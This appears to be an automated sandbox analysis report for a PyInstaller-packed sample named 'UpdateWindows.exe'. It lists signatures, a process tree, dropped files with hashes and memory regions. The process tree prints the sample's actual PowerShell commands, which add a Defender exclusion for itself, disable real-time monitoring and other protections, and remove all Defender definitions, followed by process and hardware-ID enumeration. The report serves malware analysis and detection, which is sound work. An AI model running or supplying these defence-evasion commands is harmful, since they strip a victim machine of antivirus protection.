Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/05/2026, 21:30

General

  • Target
    UpdateWindows.exe
  • Size 10.7MB
  • Sample260519-1cldfaft9n
  • SHA256 110d2c18f3b988d7a90b0b2eb2bd6171c07a0d72e9fcf8811ec2fb85b308144f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 19 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\UpdateWindows.exe
    "C:\Users\Admin\AppData\Local\Temp\UpdateWindows.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\Users\Admin\AppData\Local\Temp\UpdateWindows.exe
      "C:\Users\Admin\AppData\Local\Temp\UpdateWindows.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\UpdateWindows.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\UpdateWindows.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3248

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 c695bd38b90537e2862d2f2e90f3401b9dc14af0792251ee897df2d0b0dc9467
        • MD5 SHA1 SHA512 TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _asyncio.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_asyncio.pyd
        • Size 41KB
        • SHA256 ff35821550598e87716645c7306f57e46546a06b49bcfc2eb1b32a1669d1e104
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_bz2.pyd
        • Size 50KB
        • SHA256 46526319ada6479a923ee20504ba98023f9f944157cadaa81684f8beae3343b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_ctypes.pyd
        • Size 67KB
        • SHA256 f67ff15f4012ab925995bc4b8e0417c1b588456b6f635dc4b7b81c27b180ecc8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _decimal.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_decimal.pyd
        • Size 121KB
        • SHA256 a070dd949b3c5eb32b08fd03a3c1ea059af366986842ffafd60eb098677facb7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_hashlib.pyd
        • Size 38KB
        • SHA256 65e85c27ebafbc481fa84859647d2c3d570b12164379fa1bff951b8fcb23c032
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_lzma.pyd
        • Size 88KB
        • SHA256 4d14314c380451cff5e7c82142b34714dc4b1543a553198eea8d611aae0ee9c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _multiprocessing.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_multiprocessing.pyd
        • Size 29KB
        • SHA256 a9c4a84c20b8d7f78ce6527b91a47cb1111851405e467d81830c179375a8ef42
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _overlapped.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_overlapped.pyd
        • Size 36KB
        • SHA256 439cbc1bfcf4a5326e3e42b40a24c5a1157c16a6f4984cf67db382b92406ece1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_queue.pyd
        • Size 28KB
        • SHA256 79592bbd5040ffcf547d9e50184f3497dfecd19df9c344ad6e44481e0749d635
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_socket.pyd
        • Size 46KB
        • SHA256 f82ec1cd6fb7cfa43d53612957536dc10faef97e0b1e4505ce9933e158f837cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_sqlite3.pyd
        • Size 60KB
        • SHA256 3c1b5aa3c989c01fd2a68b41997699f63806490fb6465b05d887aed551aa7881
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_ssl.pyd
        • Size 68KB
        • SHA256 206f55428799d4c606edb21801f9fcd25f59740cb9fda8aa8110cd578f5e2c8d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _wmi.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_wmi.pyd
        • Size 30KB
        • SHA256 3c0cd3af8c7a3abe8ce2f4b3cb7a9e80de63560fccab42eaef52f782a4d5ee38
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _zstd.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\_zstd.pyd
        • Size 176KB
        • SHA256 d317db72223c3a4013b1aa7bae2db91dc934fd0591f59026ca85b6fcb1a44fbb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\base_library.zip
        • Size 1.3MB
        • SHA256 fe7359b3449712fe9695b3d76294c1c8b5052e7a96b5eb1f3ed53e74963d4993
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\blank.aes
        • Size 93KB
        • SHA256 64d760579b7c78f8d2beceb99e7eb56d696cb2e0cef5bf3c2f33baf70f5357db
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\blank.aes
        • Size 93KB
        • SHA256 25dabdf4ada856a780574564d8008040068bf103ebef8b2791fee588d3141226
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\libcrypto-3.dll
        • Size 1.6MB
        • SHA256 e0935d6280048026ebd70fcf80bf4a54d05864711fc5e8c52c8ca814d88e504d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\libffi-8.dll
        • Size 29KB
        • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\libssl-3.dll
        • Size 224KB
        • SHA256 0478060bed0a69b47aa3ee282fe1f295dcd5e3b8a473844715f6fadecab06752
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pyexpat.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\pyexpat.pyd
        • Size 94KB
        • SHA256 d11bf47c4dc23d6fb1b19a75468bfeaa8b04546544291cb38f858895e2b223c9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python314.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\python314.dll
        • Size 1.9MB
        • SHA256 85305a997a3f067b398104cab5bb6e055b3c0ead6adfeb43c2db4973b38856e2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rar.exe

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\rar.exe
        • Size 615KB
        • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rarreg.key

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\rarreg.key
        • Size 456B
        • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
        • MD5 SHA1 SHA512 TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\select.pyd
        • Size 28KB
        • SHA256 500182d78b558336de5b82aeb37a7a2b2a6f0dc2c1e3731ddb961dbcf45c4d15
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Lorem ipsum.txt

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
        • Size 1KB
        • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
        • MD5 SHA1 SHA512 TLSH

        sqlite3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\sqlite3.dll
        • Size 663KB
        • SHA256 ffe3afe7f151fc305cde4c72c9fb4ee703b6e88c7295a27a72a1c373de10019f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI45562\unicodedata.pyd
        • Size 277KB
        • SHA256 cb5f73ff8f57648bcd652f4fcb31fd51efc3abf60bd50ab2791b8cf80b8630af
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_q3g2subw.15s.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3g2subw.15s.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2504-92-0x00007FFC64940000-0x00007FFC64974000-memory.dmp

        memory/2504-130-0x00007FFC643C0000-0x00007FFC643E5000-memory.dmp

        memory/2504-79-0x00007FFC69CB0000-0x00007FFC69CBD000-memory.dmp

        memory/2504-82-0x00007FFC645A0000-0x00007FFC645B4000-memory.dmp

        memory/2504-84-0x00007FFC56B70000-0x00007FFC570A1000-memory.dmp

        memory/2504-45-0x00007FFC673B0000-0x00007FFC673D9000-memory.dmp

        memory/2504-91-0x00007FFC673B0000-0x00007FFC673D9000-memory.dmp

        memory/2504-90-0x00007FFC57400000-0x00007FFC574CE000-memory.dmp

        memory/2504-89-0x00007FFC64980000-0x00007FFC6499A000-memory.dmp

        memory/2504-88-0x00007FFC574D0000-0x00007FFC57BD6000-memory.dmp

        memory/2504-46-0x00007FFC69D90000-0x00007FFC69D9F000-memory.dmp

        memory/2504-99-0x00007FFC643C0000-0x00007FFC643E5000-memory.dmp

        memory/2504-101-0x00007FFC56240000-0x00007FFC563CA000-memory.dmp

        memory/2504-103-0x00007FFC64A50000-0x00007FFC64A5D000-memory.dmp

        memory/2504-106-0x00007FFC56180000-0x00007FFC5623E000-memory.dmp

        memory/2504-105-0x00007FFC673A0000-0x00007FFC673AF000-memory.dmp

        memory/2504-73-0x00007FFC667E0000-0x00007FFC667FA000-memory.dmp

        memory/2504-39-0x00007FFC574D0000-0x00007FFC57BD6000-memory.dmp

        memory/2504-74-0x00007FFC645C0000-0x00007FFC64640000-memory.dmp

        memory/2504-75-0x00007FFC64AC0000-0x00007FFC64AEC000-memory.dmp

        memory/2504-127-0x00007FFC645A0000-0x00007FFC645B4000-memory.dmp

        memory/2504-128-0x00007FFC56B70000-0x00007FFC570A1000-memory.dmp

        memory/2504-129-0x00007FFC64940000-0x00007FFC64974000-memory.dmp

        memory/2504-80-0x00007FFC673A0000-0x00007FFC673AF000-memory.dmp

        memory/2504-148-0x00007FFC56240000-0x00007FFC563CA000-memory.dmp

        memory/2504-147-0x00007FFC56180000-0x00007FFC5623E000-memory.dmp

        memory/2504-131-0x00007FFC574D0000-0x00007FFC57BD6000-memory.dmp

        memory/2504-166-0x00007FFC574D0000-0x00007FFC57BD6000-memory.dmp

        memory/2504-200-0x00007FFC574D0000-0x00007FFC57BD6000-memory.dmp

        memory/2504-225-0x00007FFC645A0000-0x00007FFC645B4000-memory.dmp

        memory/2504-232-0x00007FFC56180000-0x00007FFC5623E000-memory.dmp

        memory/2504-231-0x00007FFC64A50000-0x00007FFC64A5D000-memory.dmp

        memory/2504-230-0x00007FFC56240000-0x00007FFC563CA000-memory.dmp

        memory/2504-229-0x00007FFC643C0000-0x00007FFC643E5000-memory.dmp

        memory/2504-228-0x00007FFC57400000-0x00007FFC574CE000-memory.dmp

        memory/2504-227-0x00007FFC64980000-0x00007FFC6499A000-memory.dmp

        memory/2504-226-0x00007FFC56B70000-0x00007FFC570A1000-memory.dmp

        memory/2504-224-0x00007FFC673A0000-0x00007FFC673AF000-memory.dmp

        memory/2504-223-0x00007FFC69CB0000-0x00007FFC69CBD000-memory.dmp

        memory/2504-222-0x00007FFC64940000-0x00007FFC64974000-memory.dmp

        memory/2504-221-0x00007FFC645C0000-0x00007FFC64640000-memory.dmp

        memory/2504-220-0x00007FFC667E0000-0x00007FFC667FA000-memory.dmp

        memory/2504-219-0x00007FFC673B0000-0x00007FFC673D9000-memory.dmp

        memory/2504-218-0x00007FFC69D90000-0x00007FFC69D9F000-memory.dmp

        memory/2504-217-0x00007FFC64AC0000-0x00007FFC64AEC000-memory.dmp

        memory/4112-114-0x00000262E98A0000-0x00000262E98C2000-memory.dmp